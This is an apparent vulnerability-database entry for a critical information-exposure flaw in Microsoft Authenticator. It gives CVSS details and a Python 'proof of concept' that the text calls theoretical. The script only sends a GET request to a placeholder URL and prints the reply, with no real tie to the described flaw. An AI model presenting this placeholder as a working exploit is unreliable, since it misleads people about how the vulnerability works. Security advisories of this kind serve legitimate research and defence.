Exposure of sensitive information to an unauthorized actor in Microsoft Authenticator allows an unauthorized attacker to disclose information over a network.
CVSS Details
CVSS Score
9.6
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Microsoft Authenticator < 2026-05-14 补丁版本
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2026-41615
# This script demonstrates a simulated scenario where sensitive data might be exposed
# due to improper handling in Microsoft Authenticator.
# Note: This is a theoretical example for educational purposes.
import requests
def trigger_leak(target_url):
# Attacker setups a listener or prepares a malicious link
# The victim interacts with the application (UI:R)
# Exploiting the network exposure vector
headers = {
"User-Agent": "Malicious/Scanner",
"Accept": "application/json"
}
# Simulating the specific endpoint or state that causes leakage
response = requests.get(target_url, headers=headers)
if response.status_code == 200:
print("[+] Potential sensitive information exposure detected.")
# Hypothetical sensitive data extraction
print("[+] Data:", response.text[:100])
else:
print("[-] Exploit failed or target patched.")
if __name__ == "__main__":
# Placeholder URL representing the vulnerable endpoint
target = "http://vulnerable-app/authenticator/api/debug"
trigger_leak(target)